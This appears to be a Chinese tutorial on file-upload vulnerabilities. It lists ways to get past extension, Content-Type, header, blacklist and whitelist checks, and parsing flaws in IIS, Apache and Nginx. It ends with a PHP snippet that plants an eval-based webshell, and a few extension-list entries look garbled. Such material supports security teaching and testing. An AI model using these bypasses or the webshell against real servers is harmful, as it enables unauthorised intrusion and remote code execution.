1 文件任意上传漏洞
如果能够绕过正常的文件上传类型,上传恶意的webshell ,那么程序就存在任意文件上传漏洞。
2 常见上传过滤规则与绕过方式
- 页面javascript后缀效验,如判断是否以jpg结尾
绕过方式:先提交符合规则的后缀(如jpg),然后通过burpsuite拦截进行后缀修改(如改为php)
- 服务端效验content-type(如image/jpeg)
绕过方式:通过burpsuite抓包将content-type修改为符合规则的内容(如image/jpeg)
- 服务端文件内容头效验,判断文件内容是否以某些字符开头
绕过方式:可以在Webshell头部,添加规则所需字符,如添加GIF标准头部字符,GIF89a<?php
- 服务端黑名单效验,即不允许某些页面文件上传,如php
绕过方式:
- 大小写绕过,如pHp,Jsp
- 黑名单不完整绕过,附,可解析扩展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee
- 服务端白名单效验,指定仅接受某些后缀的文件
绕过方式:
- 0x00截断,如t.php(0x00).jpg、t.php%00.jpg、路径/up/1.php(0x00),文件名1.jpg,/up/1.php(0x00)/1.jpg相当于上传了1.php(常见于CTF竞赛,修改上传路径为路径/1.php+,然后在Hex编码中把+号对应的编码修改成00)
- 寻找利用文件包含等漏洞,包含上传含有webshell 的正常文件
- 中间件解析漏洞绕过(下面独立章节说明)
- 利用操作系统文件命令规则效验
绕过方式:上传不符合windows文件命名规则的文件名
test.asp(空格)1.jpg
test.php:1.jpg
shell.php::$DATA…….
windows系统会自动去掉不符合规则符号后面的内容。
3 中间件解析漏洞
3.1 IIS5.x-6.x解析漏洞
- 目录解析(6.0)
形式:http://www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
- 文件解析
形式:http://www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
- IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
3.2 apache解析漏洞
- Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php
- 其余配置问题导致漏洞:
- 如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
- 如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。
3.3 nginx解析漏洞
- Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问http://www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
- 其他方式:上传一个名字为test.jpg,以下内容的文件。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!